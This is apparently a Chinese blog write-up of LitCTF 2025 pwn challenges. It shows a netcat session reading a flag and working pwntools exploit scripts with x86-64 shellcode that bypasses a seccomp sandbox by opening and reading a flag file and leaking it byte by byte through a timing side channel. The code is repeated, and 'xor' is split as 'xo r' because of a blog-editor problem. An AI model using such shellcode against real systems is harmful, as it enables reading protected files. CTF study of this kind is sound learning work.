LitCTF

test_your_nc

$0提权然后cat flag

C:\Users\26597>nc node10.anna.nssctf.cn 23227
input your command
$0
c/at fl/ag
sh: 1: c/at: not found
ls
bin
dev
flag
lib
lib32
lib64
libexec
libx32
pwn
cat flag
NSSCTF{bb1df39b-d81a-4996-8f63-38aff8a21053}

shellcode

IDA打开看到有沙箱,先查沙箱保护:

┌──(kali㉿kali)-[~/PycharmProjects/PythonProject]
└─$ seccomp-tools dump ./pwn1_lit
Welcome LitCTF 2025
Please input your shellcode:

line CODE JT JF K

0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007
0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

没出现的函数就是被ban掉了(夏师傅误我)

这里就剩个OR了,没W,没W就没法输出flag,那正常的ORW就没得玩了

但是又学了招新的,侧信道爆破

原理就是,先想办法利用open函数,打开flag文件

打开文件的方法是:将字符串”flag\0″压栈,调用open打开文件,获得文件描述符fd

然后利用read函数:将fd设为read的第一个参数,读取内容到栈上的缓冲区(覆盖原”flag\0″字符串的位置)

再通过二分法猜测每个字符的ASCII值。若程序未及时退出(超时),说明字符值大于当前猜测,调整二分范围

利用程序响应时间的差异推断字符的正确值,逐步拼接完整flag

(u1s1,感觉这个思路挺具有想象力的)

sc=asm("""
    movabs rax, 0x67616C66
    push 0
    push rax
    push rsp
    pop rdi
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 2
    syscall #open("flag.txt", 0, 0);
    mov rsi, rdi
    mov rdi, rax
    xor rax, rax
    mov rdx, 0x100
    syscall #read(0, rsp, 0x100);
    mov al, [rsp+{}]
    cmp al, {}
    jbe $
    """.format(i, c))

    io.sendafter(":", sc)
    io.recv()
    try:
        io.recv(timeout=0.1)
        io.close()
        return True
    except EOFError:
        io.close()
        return False

movabs rax, 0x67616C66,这里的0x67616C66flag的16进制小端序表示
感觉这个shellcode可能会具有一定的普适性(但就做过这一个题,等我找到了其他类似的题目再来试试,如果不行就另外总结怎么在这个的基础上改)

i = 0
flag = ''
while True:
    l = 0x20
    r = 0x80
    while l <= r:
        m = (l + r) // 2
        if find(i, m):
            r = m - 1
        else:
            l = m + 1

    if l==0:
        break
    flag += chr(l)
    info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
    info(flag)
    i += 1

info("flag: "+flag)

这里就是二分法爆破的代码实现,0x20~0x80是所有可见字符的范围

实际上也就96个字符,实际爆起来也挺快的()

这里在同一目录下创建flag文件

(由于不知道NSS出什么问题,其他都上平台了,就这个没上,只能打本地进行复现)

这个长度的flag在1k多次尝试后就差不多出来了,所以讲道理应该花不了什么时间,不过由于是打本地,我把timeout的时间缩短到了0.1,原版不知道战队佬们的exp打远程用的值是2来着(毕竟开低了要出事吧)

这边借用一下大佬exp:

from pwn import *
context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=remote()

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
    gdb.attach(io, gdbscript=script)

io=0
def find(i, c):
    global io
    \#io=remote('node8.anna.nssctf.cn', 20901)
    io=process("./pwn1_lit")
    sc=asm("""
    movabs rax, 0x67616C66
    push 0
    push rax
    push rsp
    pop rdi
    xo r rsi,rsi
    xo r rdx, rdx
    mov rax, 2
    syscall #open("flag.txt", 0, 0);
    mov rsi, rdi
    mov rdi, rax
    xo r rax, rax
    mov rdx, 0x100
    syscall #read(0, rsp, 0x100);
    mov al, [rsp+{}]
    cmp al, {}
    jbe $
    """.format(i, c))

    io.sendafter(":", sc)
    io.recv()
    try:
        io.recv(timeout=0.1)
        io.close()
        return True
    except EOFError:
        io.close()
        return False

#debug("break *main+120\nc")
i = 0
flag = ''
while True:
    l = 0x20
    r = 0x80
    while l <= r:
        m = (l + r) // 2
        if find(i, m):
            r = m - 1
        else:
            l = m + 1

    if l==0:
        break
    flag += chr(l)
    info("win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ")
    info(flag)
    i += 1

info("flag: "+flag)

这里就是二分法爆破的代码实现,0x20~0x80是所有可见字符的范围

实际上也就96个字符,实际爆起来也挺快的()

这里在同一目录下创建flag文件

(由于不知道NSS出什么问题,其他都上平台了,就这个没上,只能打本地进行复现)

这个长度的flag在1k多次尝试后就差不多出来了,所以讲道理应该花不了什么时间,不过由于是打本地,我把timeout的时间缩短到了0.1,原版不知道战队佬们的exp打远程用的值是2来着(毕竟开低了要出事吧)

这边借用一下大佬exp:

from pwn import *

context(arch='amd64',os='linux')
context.terminal = ["tmux", "splitw", "-h"]
#io=remote()

r = lambda a : io.recv(a)
rl = lambda    a=False        : io.recvline(a)
ru = lambda a,b=True    : io.recvuntil(a,b)
s = lambda x            : io.send(x)
sl = lambda x            : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b        : io.sendlineafter(a,b)
shell = lambda            : io.interactive()
def debug(script=""):
    gdb.attach(io, gdbscript=script)

io=0
def find(i, c):
    global io
    #io=remote('node8.anna.nssctf.cn', 20901)
    io=process("./pwn1_lit")
    sc=asm("""
    movabs rax, 0x67616C66
    push 0
    push rax
    push rsp
    pop rdi
    xo r rsi, rsi
    xo r rdx, rdx
    mov rax, 2
    syscall #open("flag.txt", 0, 0);
    mov rsi, rdi
    mov rdi, rax
    xo r rax, rax
    mov rdx, 0x100
    syscall #read(0, rsp, 0x100);
    mov al, [rsp+{}]
    cmp al, {}
    jbe $
    """.format(i, c))

    io.sendafter(":", sc)
    io.recv()
    try:
        io.recv(timeout=0.1)
        io.close()
        return True
    except EOFError:
        io.close()
        return False

#debug("break *main+120\nc")
i = 0
flag = ''
while True:
    l = 0x20
    r = 0x80
    while l <= r:
        m = (l + r) // 2
        if find(i, m):
            r = m - 1
        else:
            l = m + 1

    if l==0:
        break
    flag += chr(l)
    info("win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! ")
    info(flag)
    i += 1

info("flag: "+flag)

这里我另外自己改写了一版

from pwn import *
context.update(arch='amd64', os='linux', log_level='info')

def exp(offset, char):
    shellcode = asm(f'''
        /* 构造"flag.txt"并确保栈对齐 */
        sub rsp, 0x20
        and rsp, 0xfffffffffffffff0  # 对齐栈
        mov rax, 0x67616C66  # "flag.txt"
        mov qword ptr [rsp+0x10], rax
        xo r rax, rax
        mov qword ptr [rsp+0x18], rax
        lea rdi, [rsp+0x10]   # 文件名指针
        xo r esi, esi          # O_RDONLY
        xo r edx, edx
        mov al, 2
        syscall               # open("flag", 0)

        /* 读取flag到rsp缓冲区 */
        test rax, rax         # 检查open是否成功
        js failed             # 失败则退出
        mov rdi, rax          # fd
        mov rsi, rsp          # 缓冲区地址
        mov dl, 0x40          # 读取长度
        xo r rax, rax
        syscall               # read(fd, buf, 0x40)

        /* 比较第offset个字符 */
        mov al, byte ptr [rsi+{offset}]
        mov cl, {char}
        cmp al, cl
        je loop               # 相等则保持存活
        ud2                   # 不等触发崩溃
        loop: 
        jmp loop
        failed:
        ud2
    ''')
    p.send(shellcode)

flag = "flag{"
for i in range(len(flag), 50):
    found = False
    for c in range(0x20, 0x7f):
        try:
            p = process('./pwn1_lit')
            exp(i, c)
            # 检测进程是否存活(1秒超时)
            start = time.time()
            while time.time() - start < 1:
                if p.poll() is not None:  # 进程已终止
                    break
                sleep(0.1)
            if p.poll() is None:  # 仍然存活说明字符正确
                flag += chr(c)
                log.success(f"Found: {flag} , !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
                p.kill()
                found = True
                break
            p.close()
        except Exception as e:
            p.close()
    if not found:
        log.error("No valid char found!")
        break

为了更新这个博客真是给我气笑了,wordpress什么鬼东西,死活更新不上去,我一行一行找是哪一行会出问题,结果居然是代码块里面的xor连着就报错,说是此响应不是合法的 JSON 响应,o和r隔一个字符就没事了,深井冰wordpress

最讨厌wordpress编辑器的一集

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇